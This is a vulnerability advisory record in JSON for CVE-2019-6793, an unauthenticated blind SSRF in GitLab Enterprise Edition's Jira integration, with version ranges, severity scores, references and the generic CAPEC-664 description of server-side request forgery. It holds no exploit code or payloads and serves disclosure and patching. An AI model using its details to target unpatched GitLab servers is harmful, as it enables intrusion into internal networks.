Vulnerability from github – Published: 2022-05-24 16:55 – Updated: 2024-04-04 01:54An issue was discovered in GitLab Enterprise Edition before 11.5.8, 11.6.x before 11.6.6, and 11.7.x before 11.7.1. The Jira integration feature is vulnerable to an unauthenticated blind SSRF issue.
{
"affected": [],
"aliases": [
"CVE-2019-6793"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-09-09T20:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in GitLab Enterprise Edition before 11.5.8, 11.6.x before 11.6.6, and 11.7.x before 11.7.1. The Jira integration feature is vulnerable to an unauthenticated blind SSRF issue.",
"id": "GHSA-7jgw-fhvx-qfxf",
"modified": "2024-04-04T01:54:43Z",
"published": "2022-05-24T16:55:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6793"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/2019/01/31/security-release-gitlab-11-dot-7-dot-3-released"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab-ce/issues/50748"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.